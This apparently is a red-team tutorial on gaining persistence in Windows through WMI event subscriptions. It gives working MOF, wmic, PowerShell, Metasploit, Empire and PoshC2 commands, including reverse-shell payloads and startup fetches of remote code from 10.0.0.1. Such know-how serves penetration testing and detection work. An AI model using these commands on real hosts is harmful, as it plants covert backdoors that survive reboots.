Windows Management Instrumentation (WMI) enables system administrators to perform tasks locally and remotely. From the perspective of red teaming WMI can be used to perform several activities such as lateral movement, persistence, situational awareness, code execution and as a command and control (C2). The fact that WMI is part of Windows that exists in almost all windows operating systems (Windows 98- Windows 10) allows these offensive activities to stay off the radar of the blue team.
Typically persistence via WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (__EventConsumer &__EventFilter) so execution and trigger to bind together.
Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well. However various frameworks such as Metasploit, Empire, PoshC2, PowerSploit and multiple PowerShell scripts and C# tools can be used to automate this technique providing different triggers and various options for code execution. It should be noted that WMI events run as a SYSTEM, persists across reboots and Administrator level privileges are required to use this technique.
Managed object format (MOF) is the language used to describe CIM (Common Information Model) classes. A MOF file typically contains statements. classes and class instances which are added to the WMI repository (OBJECTS.DATA) when the file is compiled (mofcomp.exe can compile MOF files and it is part of Windows). The contents of a MOF file are demonstrated below:
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Pentestlab"; RunInteractively=false; CommandLineTemplate="cmd.exe"; }; instance of __EventFilter as $Filt { Name = "Pentestlab"; EventNamespace = "root\\subscription"; Query ="SELECT * FROM __InstanceCreationEvent Within 3" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
The above MOF file will execute cmd.exe when the notepad.exe process is created on the system. The MOF file can be deployed on the WMI repository by executing the following command:
mofcomp.exe .\wmi.mof
Alternatively Metasploit Framework has also capability to generate malicious MOF files. Executing the following command from interactive ruby console will generate the MOF.
irb puts generate_mof("Metasploit1","Metasploit2")
The Microsoft utility “mofcomp.exe” can compile MOF files. The file will automatically stored in the WMI repository and the malicious payload/command will executed automatically.
mofcomp.exe .\Metasploit.mof
In this case the payload was fetched remote remotely via Metasploit “web_delivery” module by using the regsvr32 method. Immediately a Meterpreter session was spawned as soon as the MOF file was compiled.
Even though that some APT’s groups have used MOF files as a dropper in order to achieve persistence over WMI, it is not recommended as a method. Persistence via WMI event subscription can be achieved by using common Microsoft utilities and therefore eliminates the need of dropping a file into disk.
Interaction with WMI can be performed through the command prompt as all Windows operating systems contain a command line utility (wmic). Execution of the following commands will create in the name space of “root\subscription“ three events. The arbitrary payload will executed within 60 seconds every time Windows starts.
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:\Windows\System32\pentestlab.exe",CommandLineTemplate="C:\Windows\System32\pentestlab.exe" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PentestLab\"", Consumer="CommandLineEventConsumer.Name=\"PentestLab\""
The executable will return a Meterpreter session within 60 seconds after every reboot.
PowerShell contain cmdlets that can query WMI objects and retrieve information back to the console. The following commands can be used to validate that the arbitrary events have been created and the malicious payload/command is stored in the WMI repository.
Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
It is also possible to implement this technique directly through PowerShell. The following script block will execute the arbitrary executable “pentestlab.exe” within 5 minutes after every boot of Windows.
$FilterArgs = @{name='Pentestlab-WMI'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs $ConsumerArgs = @{name='Pentestlab-WMI'; CommandLineTemplate="$($Env:SystemRoot)\System32\pentestlab.exe";} $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs $FilterToConsumerArgs = @{ Filter = [Ref] $Filter; Consumer = [Ref] $Consumer; } $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
The following commands can be executed to perform a cleanup and remove the created WMI objects.
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject
PowerPunch is a collection of PowerShell scripts that contains a PowerShell script for persistence over WMI. However the script requires Invoke-MetasploitPayload to be loaded in memory as well as the payload will be downloaded from a remote location. The Metasploit Framework “web_delivery” module can be configured that will host the PowerShell based payload.
use exploit/multi/script/web_delivery set SRVHOST 0.0.0.0 set SRVPORT 8443 set SSL true set target 2 set URIPATH pentestlab set payload windows/x64/meterpreter/reverse_tcp set LPORT 8888 set LHOST 10.0.0.1 run -j
The following command will register a WMI event subscription and will store the command that will be executed during startup in order to create fileless persistence.
Import-Module .\Invoke-MetasploitPayload.ps1 Import-Module .\New-WMIPersistence.ps1 New-WMIPersistence -Name Pentestlab -OnStartup -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Arguments "-Command Invoke-MetasploitPayload https://10.0.0.1:8443/pentestlab"
The payload will be delivered on the target host on during startup.
The Wmi-Persistence is a simple PowerShell script that supports the following triggers: Startup, Logon, Interval and Timed. It contains three functions for installation, review and removal of the created WMI events.
Install-Persistence -Trigger Startup -Payload "c:\windows\system32\pentestlab.exe"
The “startup” trigger by default will execute the arbitrary payload within five minutes after startup.
WMI-Persistence is another PowerShell script that can create and event filter that will execute a PowerShell based payload from a remote location within 5 minutes after every reboot.
Import-Module .\WMI-Persistence.ps1 Install-Persistence
The script contains a function for viewing WMI objects to ensure that the arbitrary classes have been created correctly.
Check-WMI
After 5 minutes on the next reboot the payload will be delivered and a Meterpreter session will established with the target host.
Rahmat Nurfauzi developed a PowerShell script (WMI-Persistence) which by default executes an arbitrary command using regsvr32 method in order to run an arbitrary scriptlet from a remote server.
.\WMI-Persistence
The “Get-WMIObject” cmdlet will ensure that the event filter has been created since the script doesn’t provide any console output.
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Metasploit Framework can be used to host the scriptlet and obtain the session. However other command and control frameworks such as PoshC2 have similar capability and can capture regsvr32 payloads.
PowerLurk is another PowerShell script that supports five triggers. These are: InsertUSB, UserLogon, Timed, Interval and ProcessStart. This script use the WMI repository in order to store a malicious command that will execute an arbitrary script, executable or any other command with arguments. The following function will retrieve all the active WMI event objects.
Get-WmiEvent
Executing the following command will create an arbitrary event subscription that will execute a malicious payload permanently during Windows logon.
Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "pentestlab.exe" -Trigger UserLogon -Username any
Dominic Chell developed a C# tool called WMIPersist which can be used directly as an executable on a compromised host or through Cobalt Strike. The tool will register an event that will execute a base64 VBS payload when a target process is created on the system.
Metasploit utility “msfvenom” can be used to generate the required payload but any other tool such as unicorn.
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=4444
SharpShooter can be utilized to generate the stageless payload in VBS format by using the shellcode raw file produced previously.
python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin base64 -i output/implantvbs.vbs > /home/pentestlab.txt
The payload can be embedded into the WMIPersist tool and the csc.exe utility (part of .NET framework) can compile the source code in order to convert it to an executable.
csc.exe WMIPersist.cs /r:System.Management.Automation.dll
Running the executable on the target host or through Cobalt Strike (execute-assembly option) will create the Event Filter, Event Consumer and the subscription.
Executing the following commands from a PowerShell console will verify that the payload is stored in the “__EventConsumer” and the “__EventFilter” has been created.
Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
When the notepad.exe process starts the payload will executed and the communication channel will open. By default this tool is using notepad which is a common Windows application but the code can be modified to target any other common process such as word.exe, outlook.exe, excel.exe, calc.exe depending on the information gathered from the host during situational awareness. The Metasploit module “multi/handler” or any other C2 can be used to capture the session.
PoshC2 is a Command and Control framework based in PowerShell but supports C# implants and modules to evade EDR products during red team engagements. There is a PowerShell module which can deploy the persistence technique of WMI event subscription on a target host by executing a based-64 encoded payload at a specific time.
Invoke-wmievent -Name Posh -Command "powershell -enc <payload>" -Hour 21 -Minute 11
When the command will executed the WMI event will created and automatically the results of the WMI objects modified will returned back on the console screen for verification.
The new implant will connect back to the C2 server at the time that it was set.
Metasploit Framework contains a module which performs persistence on the target system over WMI. The module supports different options that can be used to trigger an arbitrary payload to be executed on the system. By default is is configured to execute the payload when a specific event ID (4625) is created on the system. Other options that are supported are execution of payload during logon, after creating a specific process, after a specific time period etc.
use exploit/windows/local/wmi_persistence set SESSION 1 set CALLBACK_INTERVAL 60000 set USERNAME_TRIGGER pentestlab set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.0.0.1 set LPORT 4444 exploit
The module will provide the required command that can be used to logon over SMB to the host by using a wrong password in order to generate the specified failed logon request. When the command will executed, will generate the failed logon event which will trigger the payload and a Meterpreter session will open.
smbclient \\\\10.0.0.2\\C$ -U pentestlab password
In vanilla Windows 10 builds both success and failed attempts during logon/logoff are logged by the system.
auditpol /get /subcategory:Logon
PowerShell Empire has two modules which can establish persistence over WMI. The following module can execute a payload at a specific daily time, during failed logon and at startup within 5 minutes.
usemodule persistence/elevated/wmi set Listener WMI set SubName Empire set FailedLogon True execute
Similar to Metasploit module a failed SMB connection can be used to trigger the PowerShell based implant when the “FailedLogon” option is used. By default this option will return two connections back to the command and control server.
The “wmi_updater” module has the capability to fetch the payload from a remote location instead of storing it in the WMI repository. It will register as “AutoUpdater” and the trigger can be set at a startup or at a specific time of the day.
usemodule persistence/elevated/wmi_updater*
The following table represents the tools that can be used by red teams in order to implement the persistence technique of WMI Event Subscriptions and the available trigger options for each tool.
Tool | Language | Trigger |
Metasploit | Ruby | Failed Logon, Process, Startup, Timed |
Empire | PowerShell | Failed Logon, Startup, Timed |
SharpSploit | C# | Process |
WMIPersist | C# | Process |
PoshC2 | Python3 | Timed |
PowerPunch | PowerShell | Logon, Startup |
Wmi-Persistence | PowerShell | Logon, Startup, Interval, Timed |
PowerLurk | PowerShell | USB, Logon, Process, Interval, Timed |
WMI-Persistence | PowerShell | Up-time |
WMILogonBackdoor | PowerShell | Timed, Interval |
WMIBackdoor | PowerShell | Timed, Interval |
WMI-Persistence | PowerShell | Timed |